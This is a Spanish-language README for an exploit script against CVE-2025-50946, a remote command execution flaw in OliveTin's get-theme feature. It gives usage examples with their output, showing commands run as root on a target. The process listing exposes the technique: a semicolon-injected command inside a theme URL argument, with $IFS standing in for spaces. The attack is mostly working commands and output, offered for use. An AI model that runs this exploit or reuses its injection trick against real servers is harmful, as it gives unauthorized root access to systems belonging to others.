
Script de explotación para CVE-2025-50946
Script de explotación para CVE-2025-50946 (OliveTin get-theme RCE). Los requisitos de caracteres son exigentes y muchos comandos que incluyen múltiples argumentos pueden no ejecutarse correctamente. No he dedicado tiempo a investigar la causa raíz ni a hacer el script más robusto. Avísame o abre un PR si necesitas algo.
Créditos a chrisWalker11 por la investigación original en la que basé este script: enlace
PoC básico:
python cve-2025-50946.py -t http://192.168.141.194 -p 1337 --command "id"
[*] Target: http://192.168.141.194:1337
[*] Payload: id
[*] Sending payload...
uid=0(root) gid=0(root) groups=0(root)
Lista de procesos (mostrando solo un fragmento de la salida):
python cve-2025-50946.py -t http://192.168.141.194 -p 1337 --command "ps -efH"
[*] Target: http://192.168.141.194:1337
[*] Payload: ps$IFS-efH
[*] Sending payload...
UID PID PPID C STIME TTY TIME CMD
root 2 0 0 09:20 ? 00:00:00 [kthreadd]
root 1 0 0 09:20 ? 00:00:01 /sbin/init
root 313 1 0 09:20 ? 00:00:00 /usr/lib/systemd/systemd-journald
root 738 1 0 09:20 ? 00:00:00 /usr/sbin/cron -f -P
root 749 1 0 09:20 ? 00:00:00 /usr/local/bin/OliveTin
root 2167 749 0 13:26 ? 00:00:00 sh -c olivetin-get-theme http://t;ps$IFS-efH
root 2168 2167 0 13:26 ? 00:00:00 ps -efH